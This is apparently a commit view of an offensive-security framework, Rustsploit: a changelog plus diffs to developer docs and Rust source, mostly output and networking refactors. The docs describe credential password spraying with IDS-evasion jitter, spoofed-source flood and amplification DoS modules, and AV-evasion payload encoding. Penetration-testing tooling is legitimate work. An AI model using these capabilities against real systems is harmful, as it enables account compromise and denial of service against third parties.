### Performance & Infrastructure (2026-04-07)
- **Dependency cleanup** — removed 5 redundant crates (aes-gcm, subtle, hyper, hyper-util, futures-util), migrated once_cell to std::sync::LazyLock (10 files), updated sha1/sha2/hkdf to latest
- **Compile performance** — trimmed tokio from "full" to 10 specific features, removed socket2 "all", optimized build.rs regex (compile once, pre-filter before regex match)
- **Connection speed** — cached reqwest::Client pool (72+ modules benefit), cached TLS connector singleton, zero-alloc tcp_connect_addr() eliminating 65K String allocs per full port scan
- **Source port enforcement** — 63 raw TcpStream::connect and 3 UdpSocket::bind bypasses fixed across 44 files; all 190 modules now respect `setg source_port`
- **Bruteforce engine** — fixed Redis command injection (RESP format), SMTP 2s to 10s timeout, FTP 421 retry, HTTP redirect false positives; added ComboMode::Spray, jitter_ms, credential file loading, HTTP client reuse
- **Spool compliance** — converted 500+ raw println!/eprintln! to crate::mprintln!/crate::meprintln! across all modules and infrastructure
- **Zero warnings** — eliminated all compiler warnings, dead code, unused imports
- **DoS spoofing infrastructure** — unified FastRng, checksum, gen_ipv4_public into src/native/dos_utils.rs; global `setg spoof_ip true` support; ~300 lines of duplicated code removed from 8 modules
---
## Recent Changes
+43 -1
View File
@@ -41,12 +41,54 @@ All bruteforce modules use the shared engine (`crate::modules::creds::utils`):
| `run_bruteforce()` | Single-target credential testing with concurrency, progress, retry |
| `run_subnet_bruteforce()` | CIDR subnet scanning with per-host credential testing |
| `run_mass_scan()` | Random/file/CIDR mass scanning with lightweight probes |
| `generate_combos()` | Generate user/password pairs (combo or linear mode) |
| `generate_combos_mode()` | Generate user/password pairs (linear, combo, or spray mode) |
| `load_credential_file()` | Load user:pass pairs from a colon-separated file |
Avoid custom concurrency — always use the engine which handles semaphores, progress reporting, lockout detection, and credential storage.
---
## Combo Modes
All bruteforce modules support three credential combination strategies via `ComboMode`:
| Mode | Ordering | Use Case |
|------|----------|----------|
| `Linear` | Pair user[i] with pass[i], cycling shorter list | Paired credentials from a breach dump |
| `Combo` | Full cross product (every user x every password) | Standard bruteforce |
| `Spray` | For each password, try all users before next password | Active Directory lockout avoidance |
Modules prompt: `Combo mode (linear/combo/spray) [combo]:`
---
## Credential File Support
Modules can load `user:pass` pairs directly from a file (one pair per line, colon-separated):
```rust
use crate::modules::creds::utils::load_credential_file;
let extra = load_credential_file("creds.txt")?;
combos.extend(extra);
```
---
## Jitter Support
`BruteforceConfig.jitter_ms` adds random delay (0..jitter_ms) between attempts to evade IDS pattern detection. Default is 0 (disabled). Also supported in `SubnetScanConfig`.
---
## Protocol Safety
- **Redis** — all commands use RESP array format (length-prefixed) to prevent \r\n injection
- **HTTP** — redirect responses are inspected for login/auth/signin/sso paths to prevent false positives
- **FTP** — 421 (connection limit) responses are classified as retryable errors with backoff
- **SMTP** — connection timeout is 10 seconds (configurable), not the previous 2 seconds
---
## IPv6 Support
Use `format_addr` to wrap IPv6 addresses in brackets and handle port suffixes:
+29
View File
@@ -189,3 +189,32 @@ The `exploits/bluetooth/wpair` module exploits a flaw in the Google Fast Pair pr
- The module requires physical proximity to the target Bluetooth accessory (typically <10 meters)
- Success depends on winning the race condition against the legitimate pairing device
- Some accessories implement additional pairing verification that may prevent the attack
---
## DoS Module Development
### Shared Infrastructure
All raw-packet DoS modules use shared utilities from `crate::native::dos_utils`:
| Utility | Purpose |
|---------|---------|
| `FastRng::with_thread_seed(id)` | Per-thread XorShift128+ PRNG |
| `FastRng::gen_ipv4_public()` | Random public IPv4 (avoids private/reserved/multicast) |
| `FastRng::gen_ephemeral_port()` | Random port 49152-65535 |
| `checksum_16(data)` | RFC 1071 Internet checksum |
| `sum_16(data, init)` | Partial checksum accumulator |
| `is_spoof_enabled()` | Check `setg spoof_ip true` global option |
### Source IP Spoofing
**Raw-packet modules** (SYN flood, UDP flood, ICMP flood, amplification attacks) support source IP spoofing via `socket2::Type::RAW` with `IP_HDRINCL`. Enable globally:
```
setg spoof_ip true
```
Modules with user prompts (null_syn_exhaustion, udp_flood, icmp_flood) use the global as the default value. Amplification modules (DNS, NTP, SSDP, Memcached) always spoof the victim IP as source.
**TCP-based modules** (slowloris, RUDY, HTTP flood, connection exhaustion) cannot spoof — TCP requires a valid 3-way handshake.
+2 -2
View File
@@ -34,7 +34,7 @@ The server reads one JSON-RPC 2.0 request per line from stdin and writes one res
---
## Tools (30)
## Tools (42)
### Module Tools
@@ -179,7 +179,7 @@ src/mcp/
mod.rs -- Module re-exports
types.rs -- JSON-RPC 2.0 types, MCP capability structs, Tool/Resource/ToolResult types
server.rs -- Stdio event loop, request routing, response serialization
tools.rs -- 30 tool definitions and dispatch handlers
tools.rs -- 42 tool definitions and dispatch handlers
resources.rs -- 7 resource definitions and read handlers
client.rs -- MCP client implementation (for connecting to external MCP servers)
```
+22
View File
@@ -316,3 +316,25 @@ let encoded = encode_payload(raw_payload, EncodingType::Xor { key: 0x41 })?;
```
The engine is used by the `payload_encoder` and `narutto_dropper` exploit modules. When writing new exploit modules that deliver payloads, prefer using the mutation engine over hardcoded encoding to benefit from future encoding additions.
---
## Mandatory Framework Rules
### Network Connections
- **TCP**: MUST use `crate::utils::network::tcp_connect()` or `tcp_connect_addr()` — never raw `TcpStream::connect`
- **UDP**: MUST use `crate::utils::network::udp_bind()` or `blocking_udp_bind()` — never raw `UdpSocket::bind("0.0.0.0:0")`
- **HTTP**: MUST use `crate::utils::build_http_client()` for reqwest clients (cached, connection pooling)
- **TLS**: Use `crate::native::async_tls::make_dangerous_tls_connector()` (cached singleton)
- **Blocking TCP**: Use `crate::utils::blocking_tcp_connect()` for SSH and other blocking protocols
These utilities automatically respect `setg source_port` for firewall bypass testing.
### Console Output
- MUST use `crate::mprintln!()` / `crate::meprintln!()` — never raw `println!` / `eprintln!`
- This ensures output is captured by the spool logging system when active
### DoS Modules
- Use `crate::native::dos_utils::FastRng` for packet randomization
- Use `crate::native::dos_utils::checksum_16()` for IP/TCP/UDP checksums
- Use `crate::native::dos_utils::is_spoof_enabled()` to check global `setg spoof_ip true`
+11
View File
@@ -17,6 +17,7 @@ Rustsploit provides several utility modules that every module developer should k
| **Export** | `crate::export` | Export engagement data to JSON/CSV/summary |
| **Output** | `crate::output` | Formatted output helpers with spool integration and color support |
| **Payload Engine** | `crate::native::payload_engine` | Payload encoding/mutation (XOR, Base64, hex, zero-width, custom) for AV evasion |
| **DoS Utils** | `crate::native::dos_utils` | FastRng (XorShift128+), checksum_16, sum_16, is_spoof_enabled |
---
@@ -621,6 +622,16 @@ std::fs::write(&out_path, results)?;
---
### `tcp_connect_addr(addr: SocketAddr, timeout: Duration) -> io::Result<TcpStream>`
Zero-allocation TCP connection for resolved IP addresses. Skips DNS resolution and string parsing. Automatically binds to global source port if set.
### `build_http_client(timeout: Duration) -> Result<reqwest::Client>`
Returns a cached reqwest::Client (keyed by timeout). Clients are Arc-based internally so cloning is cheap. Enables HTTP keep-alive and connection pooling across module runs.
---
## Extending Utils
Add new reusable helpers to `src/utils/` (the appropriate submodule: `prompt.rs`, `sanitize.rs`, `target.rs`, `network.rs`, or `modules.rs`), `creds/utils.rs`, or `config.rs` rather than copy-pasting into individual modules. Common candidates:
+2 -3
View File
@@ -1261,9 +1261,8 @@ async fn honeypot_check(Json(payload): Json<HoneypotCheckRequest>) -> Response {
}
};
let addr = format!("{}:{}", ip, port);
let conn = tokio::time::timeout(scan_timeout, tokio::net::TcpStream::connect(&addr))
.await;
if let Ok(Ok(_)) = conn {
let conn = crate::utils::network::tcp_connect(&addr, scan_timeout).await;
if let Ok(_) = conn {
Some(port)
} else {
None
+2 -3
View File
@@ -15,7 +15,7 @@ use crate::utils::normalize_target;
use crate::modules::creds::utils::{
is_subnet_target, parse_subnet, subnet_host_count,
is_mass_scan_target, generate_random_public_ip, parse_exclusions,
is_ip_checked, mark_ip_checked, EXCLUDED_RANGES,
check_and_mark_ip, EXCLUDED_RANGES,
};
/// CLI dispatcher
@@ -254,12 +254,11 @@ async fn dispatch_single_target(category: &str, module_name: &str, target: &str)
};
let ip_str = ip.to_string();
if is_ip_checked(&ip, &sf).await {
if check_and_mark_ip(&ip, &sf).await {
tc.fetch_add(1, Ordering::Relaxed);
drop(permit);
return;
}
mark_ip_checked(&ip, &sf).await;
// Quick honeypot check before running module
if honeypot_enabled && crate::utils::network::quick_honeypot_check(&ip_str).await {
+3 -3
View File
@@ -156,7 +156,7 @@ impl GlobalConfig {
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
static VALID_CHARS: std::sync::LazyLock<Regex> = std::sync::LazyLock::new(|| {
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
});
let valid_chars = &*VALID_CHARS;
@@ -270,7 +270,7 @@ impl GlobalConfig {
}
/// Global configuration instance
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
@@ -428,7 +428,7 @@ pub fn results_dir() -> std::path::PathBuf {
.join("results");
if !dir.exists() {
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) { eprintln!("[!] Directory creation error: {}", e); }
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
}
dir
}
+22 -22
View File
@@ -1,6 +1,6 @@
use std::path::PathBuf;
use tokio::sync::RwLock;
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use serde::{Serialize, Deserialize};
use colored::*;
@@ -58,9 +58,9 @@ impl CredStore {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
crate::meprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
if let Err(e) = std::fs::copy(&file_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
Vec::new()
}
},
@@ -168,7 +168,7 @@ impl CredStore {
async fn save_locked(&self, entries: &[CredEntry]) {
if let Some(parent) = self.file_path.parent() {
if let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Warning: Failed to create creds directory: {}", e);
crate::meprintln!("[!] Warning: Failed to create creds directory: {}", e);
return;
}
}
@@ -176,21 +176,21 @@ impl CredStore {
let json = match serde_json::to_string_pretty(entries) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Warning: Failed to serialize credentials: {}", e);
crate::meprintln!("[!] Warning: Failed to serialize credentials: {}", e);
return;
}
};
if let Err(e) = tokio::fs::write(&tmp, &json).await {
eprintln!("[!] Warning: Failed to write creds temp file: {}", e);
crate::meprintln!("[!] Warning: Failed to write creds temp file: {}", e);
return;
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Warning: Failed to save credentials (rename): {}", e);
crate::meprintln!("[!] Warning: Failed to save credentials (rename): {}", e);
return;
}
use std::os::unix::fs::PermissionsExt;
if let Err(e) = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await {
eprintln!("[!] Warning: Failed to set permissions on creds.json: {}", e);
crate::meprintln!("[!] Warning: Failed to set permissions on creds.json: {}", e);
}
}
@@ -198,42 +198,42 @@ impl CredStore {
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
crate::mprintln!("{}", "No credentials stored. Use 'creds add' to add one.".dimmed());
return;
}
println!();
println!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
crate::mprintln!();
crate::mprintln!("{}", format!("Credentials ({} total):", entries.len()).bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
"ID".bold(), "Host".bold(), "Port".bold(), "Service".bold(),
"Username".bold(), "Secret".bold(), "Type".bold(), "Valid".bold());
println!(" {}", "-".repeat(100).dimmed());
crate::mprintln!(" {}", "-".repeat(100).dimmed());
for e in &entries {
let valid_str = if e.valid { "yes".green() } else { "no".red() };
println!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
crate::mprintln!(" {:<10} {:<18} {:<6} {:<10} {:<16} {:<20} {:<10} {}",
e.id, e.host, e.port, e.service, e.username,
if e.secret.len() > 8 { format!("{}...", &e.secret[..5]) } else { e.secret.clone() },
e.cred_type, valid_str);
}
println!();
crate::mprintln!();
}
/// Display search results.
pub fn display_results(&self, results: &[CredEntry]) {
if results.is_empty() {
println!("{}", "No matching credentials found.".dimmed());
crate::mprintln!("{}", "No matching credentials found.".dimmed());
return;
}
println!();
println!("{}", format!("Found {} credential(s):", results.len()).bold());
println!();
crate::mprintln!();
crate::mprintln!("{}", format!("Found {} credential(s):", results.len()).bold());
crate::mprintln!();
for e in results {
println!(" [{}] {}@{}:{} ({}) - {} [{}]",
crate::mprintln!(" [{}] {}@{}:{} ({}) - {} [{}]",
e.id.yellow(), e.username.green(), e.host, e.port,
e.service, e.cred_type,
if e.valid { "valid".green() } else { "invalid".red() });
}
println!();
crate::mprintln!();
}
}
+3 -3
View File
@@ -41,7 +41,7 @@ pub async fn export_json(path: &str) -> Result<()> {
let json = export_json_string().await?;
std::fs::write(path, &json)
.context(format!("Failed to write to '{}'", path))?;
println!("{}", format!("[+] Exported JSON to '{}'", path).green());
crate::mprintln!("{}", format!("[+] Exported JSON to '{}'", path).green());
Ok(())
}
@@ -101,7 +101,7 @@ pub async fn export_csv(path: &str) -> Result<()> {
let output = export_csv_string().await?;
std::fs::write(path, &output)
.context(format!("Failed to write to '{}'", path))?;
println!("{}", format!("[+] Exported CSV to '{}'", path).green());
crate::mprintln!("{}", format!("[+] Exported CSV to '{}'", path).green());
Ok(())
}
@@ -166,7 +166,7 @@ pub async fn export_summary(path: &str) -> Result<()> {
let report = export_summary_string().await?;
std::fs::write(path, &report)
.context(format!("Failed to write to '{}'", path))?;
println!("{}", format!("[+] Exported summary report to '{}'", path).green());
crate::mprintln!("{}", format!("[+] Exported summary report to '{}'", path).green());
Ok(())
}
+19 -19
View File
@@ -1,7 +1,7 @@
use std::collections::HashMap;
use std::path::PathBuf;
use tokio::sync::RwLock;
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use colored::*;
/// Persistent global options that apply across all modules.
@@ -24,9 +24,9 @@ impl GlobalOptions {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
crate::meprintln!("[!] Warning: global_options.json is corrupted ({}). Starting fresh.", e);
let backup = file_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&file_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
if let Err(e) = std::fs::copy(&file_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
HashMap::new()
}
},
@@ -53,16 +53,16 @@ impl GlobalOptions {
/// Returns false if validation fails (BUG 16 fix).
pub async fn set(&self, key: &str, value: &str) -> bool {
if key.is_empty() || key.len() > Self::MAX_KEY_LEN {
eprintln!("[!] Option key too long (max {} chars)", Self::MAX_KEY_LEN);
crate::meprintln!("[!] Option key too long (max {} chars)", Self::MAX_KEY_LEN);
return false;
}
if value.len() > Self::MAX_VALUE_LEN {
eprintln!("[!] Option value too long (max {} chars)", Self::MAX_VALUE_LEN);
crate::meprintln!("[!] Option value too long (max {} chars)", Self::MAX_VALUE_LEN);
return false;
}
let mut opts = self.options.write().await;
if opts.len() >= Self::MAX_OPTIONS && !opts.contains_key(key) {
eprintln!("[!] Too many global options (max {}). Unset some first.", Self::MAX_OPTIONS);
crate::meprintln!("[!] Too many global options (max {}). Unset some first.", Self::MAX_OPTIONS);
return false;
}
opts.insert(key.to_string(), value.to_string());
@@ -105,7 +105,7 @@ impl GlobalOptions {
async fn save_locked(&self, opts: &HashMap<String, String>) {
if let Some(parent) = self.file_path.parent() {
if let Err(e) = tokio::fs::create_dir_all(parent).await {
eprintln!("[!] Warning: Failed to create config directory: {}", e);
crate::meprintln!("[!] Warning: Failed to create config directory: {}", e);
return;
}
}
@@ -113,21 +113,21 @@ impl GlobalOptions {
let json = match serde_json::to_string_pretty(opts) {
Ok(j) => j,
Err(e) => {
eprintln!("[!] Warning: Failed to serialize global options: {}", e);
crate::meprintln!("[!] Warning: Failed to serialize global options: {}", e);
return;
}
};
if let Err(e) = tokio::fs::write(&tmp, &json).await {
eprintln!("[!] Warning: Failed to write global options temp file: {}", e);
crate::meprintln!("[!] Warning: Failed to write global options temp file: {}", e);
return;
}
if let Err(e) = tokio::fs::rename(&tmp, &self.file_path).await {
eprintln!("[!] Warning: Failed to save global options (rename): {}", e);
crate::meprintln!("[!] Warning: Failed to save global options (rename): {}", e);
return;
}
use std::os::unix::fs::PermissionsExt;
if let Err(e) = tokio::fs::set_permissions(&self.file_path, std::fs::Permissions::from_mode(0o600)).await {
eprintln!("[!] Warning: Failed to set permissions on global_options.json: {}", e);
crate::meprintln!("[!] Warning: Failed to set permissions on global_options.json: {}", e);
}
}
@@ -135,22 +135,22 @@ impl GlobalOptions {
pub async fn display(&self) {
let opts = self.all().await;
if opts.is_empty() {
println!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
crate::mprintln!("{}", "No global options set. Use 'setg <key> <value>' to set one.".dimmed());
return;
}
println!();
println!("{}", "Global Options:".bold().underline());
println!();
println!(" {:<30} {}", "Key".bold(), "Value".bold());
println!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
crate::mprintln!();
crate::mprintln!("{}", "Global Options:".bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<30} {}", "Key".bold(), "Value".bold());
crate::mprintln!(" {:<30} {}", "---".dimmed(), "-----".dimmed());
let mut keys: Vec<_> = opts.keys().collect();
keys.sort();
for key in keys {
if let Some(val) = opts.get(key) {
println!(" {:<30} {}", key.green(), val);
crate::mprintln!(" {:<30} {}", key.green(), val);
}
}
println!();
crate::mprintln!();
}
}
+13 -13
View File
@@ -1,7 +1,7 @@
use std::collections::HashMap;
use std::sync::atomic::{AtomicU32, Ordering};
use std::sync::RwLock;
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use serde::Serialize;
use colored::*;
use tokio::sync::watch;
@@ -73,15 +73,15 @@ impl JobManager {
result = crate::commands::run_module(&mod_clone, &tgt_clone, verbose) => {
match result {
Ok(_) => {
println!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
crate::mprintln!("\n{}", format!("[*] Job completed: {} against {}", mod_clone, tgt_clone).green());
}
Err(e) => {
eprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, e).red());
crate::meprintln!("\n{}", format!("[!] Job failed: {} - {}", mod_clone, e).red());
}
}
}
_ = async { while rx.changed().await.is_ok() { if *rx.borrow() { break; } } } => {
println!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
crate::mprintln!("\n{}", format!("[*] Job cancelled: {}", mod_clone).yellow());
}
}
});
@@ -113,7 +113,7 @@ impl JobManager {
pub fn kill(&self, id: u32) -> bool {
if let Ok(mut jobs) = self.jobs.write() {
if let Some(job) = jobs.get_mut(&id) {
if let Err(e) = job.cancel_tx.send(true) { eprintln!("[!] Job cancel signal error: {}", e); }
if let Err(e) = job.cancel_tx.send(true) { crate::meprintln!("[!] Job cancel signal error: {}", e); }
if let Some(handle) = job.handle.take() {
handle.abort();
}
@@ -182,15 +182,15 @@ impl JobManager {
pub fn display(&self) {
let jobs = self.list();
if jobs.is_empty() {
println!("{}", "No active jobs.".dimmed());
crate::mprintln!("{}", "No active jobs.".dimmed());
return;
}
println!();
println!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
println!();
println!(" {:<6} {:<35} {:<20} {:<12} {}",
crate::mprintln!();
crate::mprintln!("{}", format!("Background Jobs ({}):", jobs.len()).bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
"ID".bold(), "Module".bold(), "Target".bold(), "Started".bold(), "Status".bold());
println!(" {}", "-".repeat(80).dimmed());
crate::mprintln!(" {}", "-".repeat(80).dimmed());
for (id, module, target, started, status) in &jobs {
let status_colored = if status == "Running" {
status.green().to_string()
@@ -201,10 +201,10 @@ impl JobManager {
} else {
status.yellow().to_string()
};
println!(" {:<6} {:<35} {:<20} {:<12} {}",
crate::mprintln!(" {:<6} {:<35} {:<20} {:<12} {}",
id, module, target, started, status_colored);
}
println!();
crate::mprintln!();
}
}
+14 -14
View File
@@ -1,6 +1,6 @@
use std::path::PathBuf;
use tokio::sync::RwLock;
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use serde::{Serialize, Deserialize};
use colored::*;
@@ -31,7 +31,7 @@ impl LootStore {
let loot_dir = base.join("loot");
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) { eprintln!("[!] Directory creation error: {}", e); }
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&loot_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
let index_path = base.join("loot_index.json");
let entries = if index_path.exists() {
@@ -39,9 +39,9 @@ impl LootStore {
Ok(contents) => match serde_json::from_str(&contents) {
Ok(data) => data,
Err(e) => {
eprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
crate::meprintln!("[!] Warning: loot_index.json is corrupted ({}). Creating backup.", e);
let backup = index_path.with_extension("json.bak");
if let Err(e) = std::fs::copy(&index_path, &backup) { eprintln!("[!] Backup copy error: {}", e); }
if let Err(e) = std::fs::copy(&index_path, &backup) { crate::meprintln!("[!] Backup copy error: {}", e); }
Vec::new()
}
},
@@ -72,7 +72,7 @@ impl LootStore {
) -> Option<String> {
// Validate size
if data.len() > Self::MAX_LOOT_SIZE {
eprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
crate::meprintln!("[!] Loot too large: {} bytes (max {} MB)", data.len(), Self::MAX_LOOT_SIZE / 1024 / 1024);
return None;
}
// Validate inputs (BUG 29 fix: also validate description and source_module)
@@ -103,7 +103,7 @@ impl LootStore {
// Verify the resolved path is within loot_dir (prevent traversal)
if !file_path.starts_with(&self.loot_dir) {
eprintln!("[!] Loot path escapes loot directory");
crate::meprintln!("[!] Loot path escapes loot directory");
return None;
}
@@ -236,25 +236,25 @@ impl LootStore {
pub async fn display(&self) {
let entries = self.list().await;
if entries.is_empty() {
println!("{}", "No loot stored.".dimmed());
crate::mprintln!("{}", "No loot stored.".dimmed());
return;
}
println!();
println!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
println!();
println!(" {:<10} {:<18} {:<15} {:<30} {}",
crate::mprintln!();
crate::mprintln!("{}", format!("Loot ({} items):", entries.len()).bold().underline());
crate::mprintln!();
crate::mprintln!(" {:<10} {:<18} {:<15} {:<30} {}",
"ID".bold(), "Host".bold(), "Type".bold(), "Description".bold(), "Module".bold());
println!(" {}", "-".repeat(90).dimmed());
crate::mprintln!(" {}", "-".repeat(90).dimmed());
for e in &entries {
let desc = if e.description.len() > 28 {
format!("{}...", &e.description[..25])
} else {
e.description.clone()
};
println!(" {:<10} {:<18} {:<15} {:<30} {}",
crate::mprintln!(" {:<10} {:<18} {:<15} {:<30} {}",
e.id.yellow(), e.host.green(), e.loot_type, desc, e.source_module);
}
println!();
crate::mprintln!();
}
}
+6 -1
View File
@@ -75,7 +75,7 @@ async fn write_response(
async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
match req.method.as_str() {
"initialize" => Some(handle_initialize(req.id)),
"initialized" => {
"initialized" | "notifications/initialized" => {
// Notification — no response.
eprintln!("[MCP] Client initialized");
None
@@ -84,6 +84,11 @@ async fn handle_request(req: JsonRpcRequest) -> Option<JsonRpcResponse> {
"tools/call" => Some(handle_tools_call(req.id, req.params).await),
"resources/list" => Some(handle_resources_list(req.id)),
"resources/read" => Some(handle_resources_read(req.id, req.params).await),
other if other.starts_with("notifications/") => {
// All notifications are fire-and-forget — never respond.
eprintln!("[MCP] Ignoring notification: {}", other);
None
}
other => Some(JsonRpcResponse::error(
req.id,
-32601,
+1 -1
View File
@@ -1,4 +1,4 @@
use once_cell::sync::Lazy;
use std::sync::LazyLock as Lazy;
use serde_json::{json, Value};
use std::collections::HashMap;
+6
View File
@@ -8,13 +8,19 @@ use serde_json::Value;
/// Incoming JSON-RPC 2.0 request (or notification when `id` is `None`).
#[derive(Deserialize)]
pub struct JsonRpcRequest {
#[serde(default = "default_jsonrpc")]
pub jsonrpc: String,
/// `None` means this is a notification (no response expected).
pub id: Option<Value>,
pub method: String,
#[serde(default)]
pub params: Option<Value>,
}
fn default_jsonrpc() -> String {
"2.0".to_string()
}
/// Outgoing JSON-RPC 2.0 response.
#[derive(Serialize)]
pub struct JsonRpcResponse {
+19 -19
View File
@@ -66,36 +66,36 @@ impl std::fmt::Display for CheckResult {
/// Pretty-print module info to the console.
pub fn display_module_info(module_path: &str, info: &ModuleInfo) {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Module Information ║".cyan());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
println!();
println!(" {:<16} {}", "Path:".bold(), module_path);
println!(" {:<16} {}", "Name:".bold(), info.name);
println!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
crate::mprintln!();
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
crate::mprintln!("{}", "║ Module Information ║".cyan());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
crate::mprintln!();
crate::mprintln!(" {:<16} {}", "Path:".bold(), module_path);
crate::mprintln!(" {:<16} {}", "Name:".bold(), info.name);
crate::mprintln!(" {:<16} {}", "Rank:".bold(), format!("{}", info.rank).green());
if let Some(ref date) = info.disclosure_date {
println!(" {:<16} {}", "Disclosed:".bold(), date);
crate::mprintln!(" {:<16} {}", "Disclosed:".bold(), date);
}
println!();
println!(" {}", "Description:".bold());
crate::mprintln!();
crate::mprintln!(" {}", "Description:".bold());
for line in info.description.lines() {
println!(" {}", line);
crate::mprintln!(" {}", line);
}
println!();
crate::mprintln!();
if !info.authors.is_empty() {
println!(" {}", "Authors:".bold());
crate::mprintln!(" {}", "Authors:".bold());
for author in &info.authors {
println!(" - {}", author);
crate::mprintln!(" - {}", author);
}
println!();
crate::mprintln!();
}
if !info.references.is_empty() {
println!(" {}", "References:".bold());
crate::mprintln!(" {}", "References:".bold());
for reference in &info.references {
println!(" - {}", reference);
crate::mprintln!(" - {}", reference);
}
println!();
crate::mprintln!();
}
}
@@ -3,7 +3,7 @@ use suppaftp::tokio::AsyncFtpStream;
use colored::*;
use ssh2::Session;
use telnet::{Telnet, Event};
use std::{net::TcpStream, time::Duration};
use std::time::Duration;
use tokio::{join, task};
use crate::utils::url_encode;
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
@@ -105,7 +105,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<Option<(ServiceType, String
Ok(sa) => sa,
Err(_) => continue,
};
if let Ok(stream) = TcpStream::connect_timeout(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
if let Ok(stream) = crate::utils::blocking_tcp_connect(&socket_addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)) {
let mut session = Session::new().context("Failed to create SSH session")?;
session.set_tcp_stream(stream);
session.handshake().context("SSH handshake failed")?;
+3 -4
View File
@@ -9,7 +9,6 @@ use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use tokio::time::timeout;
@@ -304,7 +303,7 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
let addr = format!("{}:{}", t, port);
// Basic TCP Connect
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
if crate::utils::network::tcp_connect(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await.is_ok() {
// If open, probe for RTSP
let is_rtsp = probe_rtsp(&t, port).await;
return Some((port, is_rtsp));
@@ -335,7 +334,7 @@ async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
async fn probe_rtsp(target: &str, port: u16) -> bool {
// Sends a minimal RTSP OPTIONS request
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
if let Ok(mut stream) = crate::utils::network::tcp_connect(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await {
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
target, port
@@ -602,7 +601,7 @@ async fn test_default_passwords(target: &str, open_ports: &[u16], rtsp_ports: &[
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(2), TcpStream::connect(&addr)).await {
if let Ok(mut stream) = crate::utils::network::tcp_connect(&addr, Duration::from_secs(2)).await {
